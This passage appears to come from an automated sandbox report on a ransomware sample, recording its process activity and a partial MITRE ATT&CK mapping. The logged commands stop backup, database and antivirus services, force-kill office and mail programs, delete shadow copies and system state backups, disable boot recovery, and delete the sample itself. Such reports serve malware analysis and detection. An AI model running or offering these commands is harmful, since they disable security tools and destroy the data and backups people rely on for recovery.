C:\Windows\system32\net1 stop OracleClientCache80 /y
3⤵
PID:3620

C:\Windows\SysWOW64\net.exe
net stop PDVFSService /y
2⤵
PID:3604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:2200

C:\Windows\SysWOW64\net.exe
net stop POP3SVC /y
2⤵
PID:428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop POP3SVC /y
3⤵
PID:1752

C:\Windows\SysWOW64\net.exe
net stop ReportServer /y
2⤵
PID:504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
3⤵
PID:3312

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SQL_2008 /y
2⤵
PID:3260

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y
3⤵
PID:3120

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SYSTEM_BGC /y
2⤵
PID:2928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y
3⤵
PID:1676

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPS /y
2⤵
PID:2232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPS /y
3⤵
PID:1792

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPSAMA /y
2⤵
PID:1276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPSAMA /y
3⤵
PID:3988

C:\Windows\SysWOW64\net.exe
net stop RESVC /y
2⤵
PID:2704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RESVC /y
3⤵
PID:2420

C:\Windows\SysWOW64\net.exe
net stop sacsvr /y
2⤵
PID:1168

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
3⤵
PID:2388

C:\Windows\SysWOW64\net.exe
net stop SamSs /y
2⤵
PID:1984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SamSs /y
3⤵
PID:3760

C:\Windows\SysWOW64\net.exe
net stop SAVAdminService /y
2⤵
PID:2156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
3⤵
PID:1292

C:\Windows\SysWOW64\net.exe
net stop CABService /y
2⤵
PID:3032

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CABService /y
3⤵
PID:1052

C:\Windows\SysWOW64\net.exe
net stop SDRSVC /y
2⤵
PID:1736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
3⤵
PID:3644

C:\Windows\SysWOW64\net.exe
net stop SepMasterService /y
2⤵
PID:1912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
3⤵
PID:3248

C:\Windows\SysWOW64\net.exe
net stop ShMonitor /y
2⤵
PID:3312

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
3⤵
PID:3600

C:\Windows\SysWOW64\net.exe
net stop Smcinst /y
2⤵
PID:712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
3⤵
PID:1124

C:\Windows\SysWOW64\net.exe
net stop SmcService /y
2⤵
PID:3884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SmcService /y
3⤵
PID:4040

C:\Windows\SysWOW64\net.exe
net stop SMTPSVC /y
2⤵
PID:3996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SMTPSVC /y
3⤵
PID:2804

C:\Windows\SysWOW64\net.exe
net stop SNAC /y
2⤵
PID:2308

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SNAC /y
3⤵
PID:840

C:\Windows\SysWOW64\net.exe
net stop SntpService /y
2⤵
PID:2124

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SntpService /y
3⤵
PID:2556

C:\Windows\SysWOW64\net.exe
net stop sophossps /y
2⤵
PID:3096

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophossps /y
3⤵
PID:1744

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ BKUPEXEC /y
2⤵
PID:64

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y
3⤵
PID:3204

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ ECWDB2 /y
2⤵
PID:1812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y
3⤵
PID:1924

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEBGC /y
2⤵
PID:3748

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y
3⤵
PID:3720

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEMGT /y
2⤵
PID:1020

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y
3⤵
PID:3592

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROFXENGAGEMENT /y
2⤵
PID:1124

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y
3⤵
PID:3588

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SBSMONITORING /y
2⤵
PID:1140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y
3⤵
PID:2804

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SHAREPOINT /y
2⤵
PID:3988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y
3⤵
PID:1212

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SQL_2008 /y
2⤵
PID:3084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y
3⤵
PID:1312

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SYSTEM_BGC /y
2⤵
PID:2392

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y
3⤵
PID:2256

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPS /y
2⤵
PID:2800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPS /y
3⤵
PID:3204

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPSAMA /y
2⤵
PID:1924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y
3⤵
PID:1884

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
2⤵
PID:1752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:3592

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2012 /y
2⤵
PID:3984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y
3⤵
PID:3756

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser /y
2⤵
PID:2916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
3⤵
PID:2304

C:\Windows\SysWOW64\net.exe
net stop SQLSafeOLRService /y
2⤵
PID:1132

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSafeOLRService /y
3⤵
PID:1652

C:\Windows\SysWOW64\net.exe
net stop SQLSERVERAGENT /y
2⤵
PID:2336

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT /y
3⤵
PID:1280

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY /y
2⤵
PID:1352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY /y
3⤵
PID:1520

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY $ ECWDB2 /y
2⤵
PID:2808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y
3⤵
PID:1388

C:\Windows\SysWOW64\net.exe
net stop SQLWriter /y
2⤵
PID:1788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
3⤵
PID:2440

C:\Windows\SysWOW64\net.exe
net stop SstpSvc /y
2⤵
PID:2972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SstpSvc /y
3⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net stop svcGenericHost /y
2⤵
PID:2236

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop svcGenericHost /y
3⤵
PID:1212

C:\Windows\SysWOW64\net.exe
net stop swi_filter /y
2⤵
PID:3628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_filter /y
3⤵
PID:1744

C:\Windows\SysWOW64\net.exe
net stop swi_service /y
2⤵
PID:1240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_service /y
3⤵
PID:1492

C:\Windows\SysWOW64\net.exe
net stop swi_update_64 /y
2⤵
PID:696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update_64 /y
3⤵
PID:3320

C:\Windows\SysWOW64\net.exe
net stop TmCCSF /y
2⤵
PID:1060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TmCCSF /y
3⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net stop tmlisten /y
2⤵
PID:2804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop tmlisten /y
3⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net stop TrueKey /y
2⤵
PID:2060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKey /y
3⤵
PID:3760

C:\Windows\SysWOW64\net.exe
net stop TrueKeyScheduler /y
2⤵
PID:1652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyScheduler /y
3⤵
PID:1492

C:\Windows\SysWOW64\net.exe
net stop TrueKeyServiceHelper /y
2⤵
PID:2408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
3⤵
PID:2168

C:\Windows\SysWOW64\net.exe
net stop UI0Detect /y
2⤵
PID:2952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UI0Detect /y
3⤵
PID:1676

C:\Windows\SysWOW64\net.exe
net stop VeeamBackupSvc /y
2⤵
PID:2500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
3⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net stop VeeamBrokerSvc /y
2⤵
PID:3620

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
3⤵
PID:3204

C:\Windows\SysWOW64\net.exe
net stop VeeamCatalogSvc /y
2⤵
PID:2948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
3⤵
PID:3836

C:\Windows\SysWOW64\net.exe
net stop VeeamCloudSvc /y
2⤵
PID:3820

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc /y
3⤵
PID:3592

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploymentService /y
2⤵
PID:2440

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:3588

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploySvc /y
2⤵
PID:2304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
3⤵
PID:840

C:\Windows\SysWOW64\net.exe
net stop VeeamEnterpriseManagerSvc /y
2⤵
PID:3320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
3⤵
PID:2168

C:\Windows\SysWOW64\net.exe
net stop VeeamMountSvc /y
2⤵
PID:3720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc /y
3⤵
PID:3756

C:\Windows\SysWOW64\net.exe
net stop VeeamNFSSvc /y
2⤵
PID:3600

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:840

C:\Windows\SysWOW64\net.exe
net stop VeeamRESTSvc /y
2⤵
PID:3204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamRESTSvc /y
3⤵
PID:3644

C:\Windows\SysWOW64\net.exe
net stop VeeamTransportSvc /y
2⤵
PID:3836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:3592

C:\Windows\SysWOW64\net.exe
net stop W3svc /y
2⤵
PID:1796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop W3svc /y
3⤵
PID:2256

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
2⤵
PID:2476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:3860

C:\Windows\SysWOW64\net.exe
net stop WRSVC /y
2⤵
PID:1744

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WRSVC /y
3⤵
PID:1492

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
2⤵
PID:1920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:3644

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
2⤵
PID:2168

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:1664

C:\Windows\SysWOW64\net.exe
net stop VeeamHvIntegrationSvc /y
2⤵
PID:3716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
3⤵
PID:2256

C:\Windows\SysWOW64\net.exe
net stop swi_update /y
2⤵
PID:648

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update /y
3⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CXDB /y
2⤵
PID:3140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CXDB /y
3⤵
PID:836

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CITRIX_METAFRAME /y
2⤵
PID:2400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CITRIX_METAFRAME /y
3⤵
PID:2284

C:\Windows\SysWOW64\net.exe
net stop SQL /y
2⤵
PID:3644

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQL /y
3⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROD /y
2⤵
PID:836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROD /y
3⤵
PID:3668

C:\Windows\SysWOW64\net.exe
net stop Zoolz 2 Service /y
2⤵
PID:1664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Zoolz 2 Service /y
3⤵
PID:840

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper /y
2⤵
PID:4108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
3⤵
PID:4148

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROD /y
2⤵
PID:4164

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROD /y
3⤵
PID:4200

C:\Windows\SysWOW64\net.exe
net stop msftesql $ PROD /y
2⤵
PID:4216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msftesql $ PROD /y
3⤵
PID:4252

C:\Windows\SysWOW64\net.exe
net stop NetMsmqActivator /y
2⤵
PID:4268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetMsmqActivator /y
3⤵
PID:4304

C:\Windows\SysWOW64\net.exe
net stop EhttpSrv /y
2⤵
PID:4320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EhttpSrv /y
3⤵
PID:4356

C:\Windows\SysWOW64\net.exe
net stop ekrn /y
2⤵
PID:4372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ekrn /y
3⤵
PID:4408

C:\Windows\SysWOW64\net.exe
net stop ESHASRV /y
2⤵
PID:4424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
3⤵
PID:4460

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SOPHOS /y
2⤵
PID:4476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SOPHOS /y
3⤵
PID:4512

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SOPHOS /y
2⤵
PID:4528

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SOPHOS /y
3⤵
PID:4564

C:\Windows\SysWOW64\net.exe
net stop AVP /y
2⤵
PID:4580

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AVP /y
3⤵
PID:4616

C:\Windows\SysWOW64\net.exe
net stop klnagent /y
2⤵
PID:4632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop klnagent /y
3⤵
PID:4668

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQLEXPRESS /y
2⤵
PID:4684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQLEXPRESS /y
3⤵
PID:4720

C:\Windows\SysWOW64\net.exe
net stop SQLAgent /y
2⤵
PID:4736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent /y
3⤵
PID:4772

C:\Windows\SysWOW64\net.exe
net stop SQLEXPRESS /y
2⤵
PID:4788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLEXPRESS /y
3⤵
PID:4824

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
2⤵
PID:4840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:4876

C:\Windows\SysWOW64\net.exe
net stop kavfsslp /y
2⤵
PID:4892

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
3⤵
PID:4928

C:\Windows\SysWOW64\net.exe
net stop KAVFSGT /y
2⤵
PID:4944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
3⤵
PID:4980

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im zoolz.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4996

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im agntsvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:5040

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im dbeng50.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:5076

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im dbsnmp.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:5112

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im encsvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3860

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im excel.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4136

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im firefoxconfig.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4204

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Infopath.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4256

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im isqlplussvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4280

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msaccess.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4284

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msftesql.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4344

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mspub.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4408

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mydesktopqos.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4456

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mydesktopservice.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4520

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4540

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld-nt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4544

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld-opt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4600

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocautoupds.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4664

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocomm.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4728

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocssd.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4780

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im onenote.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4800

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im oracle.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4796

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im outlook.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4860

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im powerpnt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4916

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqbcoreservice.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4968

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlagent.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:5028

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlbrowser.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:5064

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlservr.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:5092

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlwriter.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4120

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im steam.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4208

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im synctime.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4180

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tbirdconfig.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4260

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thebat.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4348

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thebat64.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4416

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thunderbird.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4472

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im visio.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4448

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im winword.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4556

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im wordpad.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4604

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im xfssvccon.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4644

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tmlisten.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4712

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im PccNTMon.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4744

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im CNTAoSMgr.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4820

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Ntrtscan.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4880

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mbamtray.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4848

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Cmd.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4952

C:\Windows\SYSTEM32\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:5052

C:\Windows\SYSTEM32\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:4332

C:\Windows\SYSTEM32\bcdedit.exe
bcdedit.exe /set {default} recoveryenabled No
2⤵
- Modifies boot configuration data using bcdedit
PID:4392

C:\Windows\SYSTEM32\bcdedit.exe
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
2⤵
- Modifies boot configuration data using bcdedit
PID:4516

C:\Windows\SYSTEM32\wbadmin.exe
wbadmin DELETE SYSTEMSTATEBACKUP
2⤵
- Deletes System State backups
- Drops file in Windows directory
PID:4492

C:\Windows\SYSTEM32\wbadmin.exe
wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
2⤵
- Deletes System State backups
- Drops file in Windows directory
PID:4680

C:\Windows\System32\Wbem\wmic.exe
wmic.exe SHADOWCOPY DELETE /nointeractive
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4720

C:\Windows\SysWOW64\Cmd.exe
Cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
2⤵
PID:4388

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3248

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1196

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:1208

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:952

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:424

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1124

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:1752

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3820

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:1744

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

